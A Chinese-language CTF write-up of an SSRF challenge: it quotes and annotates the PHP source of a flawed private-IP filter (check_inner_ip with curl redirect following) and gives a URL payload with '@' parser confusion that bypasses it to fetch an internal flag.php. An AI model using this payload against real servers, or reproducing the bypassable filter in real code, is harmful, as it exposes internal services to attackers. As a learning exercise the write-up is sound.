1.尝试输入正确URL,能正常跳转
2.查看网页源码,发现challenge.php网页
3.进入challenge.php,学习源码
function check_inner_ip($url) //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
//将url与'匹配字段'进行匹配,返回匹配次数0或1
//^从开头开始匹配
//? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
//( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)
//. 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \.
//* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*
//$:从字符串末尾进行匹配
if (!$match_result) //判断结果是否为0
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url); //解析url 返回其组成部分
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip); //将ip地址转换为小数点 整形形式
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url)) //判断是否为私有地址
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch); //抓住URL传给浏览器
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch); //关闭curl资源,并释放资源
var_dump($output); //执行
}
}
4.构造payload 绕过parse_url()
http://a@127.0.0.1:80@baidu.com
5.成功绕过后,访问flag.php 获得flag
challenge.php?url=http://@127.0.0.1:80@baidu.com/flag.php
便捷方法:在url栏输入http://127.0.0.1/flag.php 即可成功访问